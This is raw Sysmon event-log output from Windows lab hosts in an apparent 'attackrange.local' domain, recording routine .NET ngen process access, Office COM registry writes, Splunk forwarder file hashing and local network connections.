14:43:59.424{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2F-613B-6C08-00000000F001}6212C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:59.409{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6212C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:59.409{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}6212C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000040527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:59.393{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1D7345D36845195BFCF5F4BC9641DEF9,SHA256=4738D81BBF0065212B8A8F85E04FAE6C2137D4674773909610D8B28B13774873,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000040526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:59.159{7BD73061-6F2E-613B-6B08-00000000F001}5476C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1564-0\Microsoft.Office.Tools.Common.dll2021-09-10 14:43:59.159 23542300x800000000000000040525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:59.096{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0B46438AD3CD49F1E566EE2301B4F46E,SHA256=4165A8A2C29E6E67B8DA08833300556D91D8FB4DBC010399299E201B96EC8D2D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000040524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.956{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6B08-00000000F001}5476C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.956{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2E-613B-6B08-00000000F001}5476C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.956{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2E-613B-6B08-00000000F001}5476C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 13241300x800000000000000040521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.909{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{FDEA20DB-AC7A-42f8-90EE-82208B9B4FC0}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 10341000x800000000000000040520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.909{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6A08-00000000F001}4964C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.909{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{FB453AD8-2EF4-44D3-98A8-8C6474E63CE4}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{F14E8B03-D080-4D3A-AEBA-355E77B20F3D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 10341000x800000000000000040517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.893{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}4964C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.893{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}4964C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{EAE50EB0-4A62-11CE-BED6-00AA00611080}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.878{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{EA778DB4-CE69-4da5-BC1D-34E2168D5EED}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.878{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{E9729012-8271-4e1f-BC56-CF85F914915A}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.878{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{DFD181E0-5E2F-11CE-A449-00AA004A803D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.862{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{DD4CB8C5-F540-47ff-84D7-67390D2743CA}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.862{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{DCA0ED3C-B95D-490f-9C60-0FF3726C789A}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{D7053240-CE69-11CD-A777-00DD01143C57}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 23542300x800000000000000013790Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:59.828{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B3EAD342B775E5DAD7287EB347426DB,SHA256=77346946AB9E01D821D56318314DF1D6E104C26A4F130FA4593D1CE572898231,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000040541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.456{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F30-613B-6E08-00000000F001}6220C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.440{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6220C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.440{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}6220C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 11241100x800000000000000040538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:59.940{7BD73061-6F2F-613B-6D08-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1b04-0\Microsoft.Office.Tools.Common.Implementation.dll2021-09-10 14:43:59.940 354300x800000000000000040537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.527{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59215-false10.0.1.12-8000- 354300x800000000000000040536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.496{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59214-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000040535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.496{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59214-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000040534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:59.643{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=31A7DF3AD34AD3A050DB74EBFEFD8134,SHA256=3BDA14EF04A7549797E93444681DA1D611DC6553C2B546ACBF6C8028C8112954,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013791Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:00.859{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DF3BB756C6D4F63FD61FD19E49F6A69F,SHA256=0FB03AD8D088988D51D59852E6B1786A6FEB39888EAD107D280BAE1E3C530790,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000040563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:01.424{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000014.dbMD5=2221060697DDC865756EB92DFB9297BB,SHA256=F8595EFB3543E0A69AB528B1B85F8D3CDCD647F4DC68D67199C23DD061B01B14,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000040562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:01.409{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F31-613B-7108-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:01.393{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F31-613B-7108-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:01.393{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F31-613B-7108-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000040559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:01.346{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F31-613B-7008-00000000F001}1020C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 